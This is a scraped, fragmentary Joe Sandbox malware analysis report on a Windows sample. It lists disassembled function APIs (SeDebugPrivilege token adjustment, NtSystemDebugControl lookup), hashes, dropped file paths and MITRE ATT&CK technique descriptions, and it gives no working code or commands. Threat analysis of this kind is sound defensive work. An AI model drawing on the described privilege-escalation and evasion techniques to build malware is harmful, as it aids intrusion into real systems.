Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
String ID:
API String ID: 41106472-0
Opcode ID: 31aaf1158a73e27a46caa2a89e5650ecd8364eccea190fb6c9c2ec8c8e7d1830
Instruction ID: 6b2a9595387e8d4ca5b187252087603f8049bfceb498fcc59a7dcad4ea42bef1
Opcode Fuzzy Hash: 31aaf1158a73e27a46caa2a89e5650ecd8364eccea190fb6c9c2ec8c8e7d1830
Instruction Fuzzy Hash: E5119DF6600221EFCB31AF15EC588DA7BEBFF847607105229F85887221DB3099C6CB64

Function 006B1B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON

Download Yara Rule

APIs

srand.MSVCRT ref: 006B1BCD
rand.MSVCRT ref: 006B1BD8
memset.MSVCRT ref: 006B1C43
memcpy.MSVCRT ref: 006B1C4F
lstrcat.KERNEL32(?,.exe), ref: 006B1C5D

Strings

vfnaJezOdfAaMhbJFkqtjxUkAcIFrwHRbEhklryyBbpweoPoCSKyDdYujSWDhwnKiIVlWZFuNSmcRZRjPeDJsqrCNgWTItQGYuQPTapLOtCisMlLXNEXMAimKqpLfBYEgnsGoQTVvdUzHUBzZvXHcxOVmGgx, xrefs: 006B1B8A, 006B1B9C, 006B1C15, 006B1C49
.exe, xrefs: 006B1C57

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: lstrcatmemcpymemsetrandsrand
String ID: .exe$vfnaJezOdfAaMhbJFkqtjxUkAcIFrwHRbEhklryyBbpweoPoCSKyDdYujSWDhwnKiIVlWZFuNSmcRZRjPeDJsqrCNgWTItQGYuQPTapLOtCisMlLXNEXMAimKqpLfBYEgnsGoQTVvdUzHUBzZvXHcxOVmGgx
API String ID: 122620767-1398202897
Opcode ID: a18e595f7849f0705b5dce1f90962b17ea08d7e9edb1e6d02a5490e01e50d16b
Instruction ID: d1e2e44d2c06b93b2eda1d43c46cee4a67d45ecef3b5f3aec8d2535d27b0f7e0
Opcode Fuzzy Hash: a18e595f7849f0705b5dce1f90962b17ea08d7e9edb1e6d02a5490e01e50d16b
Instruction Fuzzy Hash: 3F216BE2F841A07ED36513356C60BED3F478FA3711F161199F6850F393DA6409C28364

Function 006B139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe), ref: 006B13BC
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 006B13DA
GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 006B1448

Part of subcall function 006B119F: GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\XFAGWZ.exe,?,?,?,?,?,?,006B13EF), ref: 006B11AB
Part of subcall function 006B119F: OpenProcessToken.ADVAPI32(00000000,00000028,006B13EF,?,?,?,?,?,?,006B13EF), ref: 006B11BB
Part of subcall function 006B119F: AdjustTokenPrivileges.ADVAPI32(006B13EF,00000000,?,00000010,00000000,00000000), ref: 006B11EB
Part of subcall function 006B119F: CloseHandle.KERNEL32(006B13EF), ref: 006B11FA
Part of subcall function 006B119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,006B13EF), ref: 006B1203

Strings

SeDebugPrivilege, xrefs: 006B13D3
C:\Users\user\AppData\Local\Temp\XFAGWZ.exe, xrefs: 006B13A8

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
String ID: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe$SeDebugPrivilege
API String ID: 4123949106-785652698
Opcode ID: 8c5084e0739a4b24c9b3388c71d1c870cb3e7a189950d9b5a14c1b1e2b7b0870
Instruction ID: 773780bd64c6b52fc10032da2b5ca2849cee75950231b6cbbf97160c994b1b1e
Opcode Fuzzy Hash: 8c5084e0739a4b24c9b3388c71d1c870cb3e7a189950d9b5a14c1b1e2b7b0870
Instruction Fuzzy Hash: A831A2B1D40219FADF209BA58C65FEEBBFAEB45700F504169E504BA251E6305E85CB60

Function 006B1319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 006B1334
GetProcAddress.KERNEL32(00000000), ref: 006B133B
memset.MSVCRT ref: 006B1359

Strings

NtSystemDebugControl, xrefs: 006B132A
ntdll.dll, xrefs: 006B132F

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: NtSystemDebugControl$ntdll.dll
API String ID: 3137504439-2438149413
Opcode ID: 8698611d055a9a5fd03f2576518cde1bc21253332446c7bfbad49e5d7307e39d
Instruction ID: b1fb43ac9a666c7a9785906d47dd913bd0e80946d37f01c70528daa6bcc742ec
Opcode Fuzzy Hash: 8698611d055a9a5fd03f2576518cde1bc21253332446c7bfbad49e5d7307e39d
Instruction Fuzzy Hash: 68015EB164021DBFDB109F98AC959EFBBAEFB41314F40422AF901A5241E6709685CB51

Function 006B1DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 006B1E0B
lstrcpy.KERNEL32(?,00000001), ref: 006B1E1C
strrchr.MSVCRT ref: 006B1E2B
lstrcmpiA.KERNEL32(?,006B4488), ref: 006B1E48
lstrlen.KERNEL32(006B4488), ref: 006B1E53

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: strrchr$lstrcmpilstrcpylstrlen
String ID:
API String ID: 3636361484-0
Opcode ID: 117ada92f5198a8d2763442b19817c86cbc839a8fef22230d66ac0c25f1c36c7
Instruction ID: e011d2600078e206a81fa4b909f638fa56a371cd5e212e817dca64e6aac9ca70
Opcode Fuzzy Hash: 117ada92f5198a8d2763442b19817c86cbc839a8fef22230d66ac0c25f1c36c7
Instruction Fuzzy Hash: B101FEF29042297FDF106B60DC48BD677DEDF05310F440065DA45D7190DA74EAC58BA0

Function 006B6014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 006B603C
GetProcAddress.KERNEL32(00000000,006B6064), ref: 006B604F

Strings

kernel32.dll, xrefs: 006B603B

Memory Dump Source

Source File: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: kernel32.dll
API String ID: 1646373207-1793498882
Opcode ID: 2d93b5ea8f83f232fddef99cde320155cbc7363fd93844499ddde55f6dc2c5d9
Instruction ID: cadc6db7b8a3acaec17ad282e7558cfedf01e843142190d75ee598d19c92e19a
Opcode Fuzzy Hash: 2d93b5ea8f83f232fddef99cde320155cbc7363fd93844499ddde55f6dc2c5d9
Instruction Fuzzy Hash: E4F0F0F21442899FEF70CEA4CC84BDE3BE5EB15700F50442AFA09CB281CB7886858B24

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8VB4lVuZk3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files\7-Zip\Uninstall.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_XFAGWZ.exe_957b89824991c68958fc10391144288a155074e4_f19a995c_a048fb85-7e30-4984-b3a2-a157f2560227\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER70F0.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7239.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7278.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\k1[1].rar

C:\Users\user\AppData\Local\Temp\5D307811.exe

C:\Users\user\AppData\Local\Temp\E2EECore.2.7.2.dll

C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Windows Analysis Report
8VB4lVuZk3.exe

Function 00856044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre